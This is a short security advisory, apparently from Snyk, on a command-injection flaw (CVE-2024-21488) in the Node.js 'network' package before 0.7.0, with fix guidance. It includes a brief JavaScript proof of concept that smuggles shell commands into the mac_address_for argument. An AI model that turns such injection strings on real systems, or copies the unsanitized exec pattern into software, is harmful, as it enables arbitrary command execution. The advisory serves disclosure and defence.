Arbitrary Command Injection Affecting network package, versions <0.7.0
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.05% (22nd
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-NETWORK-6184371
- published 29 Jan 2024
- disclosed 23 Jan 2024
- credit NodeMedic-FINE
Introduced: 23 Jan 2024
CVE-2024-21488 Open this link in a new tabHow to fix?
Upgrade network to version 0.7.0 or higher.
Overview
network is a the missing network utilities in Node.js.
Affected versions of this package are vulnerable to Arbitrary Command Injection due to use of the child_process exec function without input sanitization. If (attacker-controlled) user input is given to the mac_address_for function of the package, it is possible for the attacker to execute arbitrary commands on the operating system that this package is being run on.
PoC
var PUT = require('network');
var x0 = " $(touch /tmp/success) # \" || touch /tmp/success # ' || touch /tmp/success";
var x1 = "{}";
new PUT["mac_address_for"](x0,x1);
References
CVSS Scores
version 3.1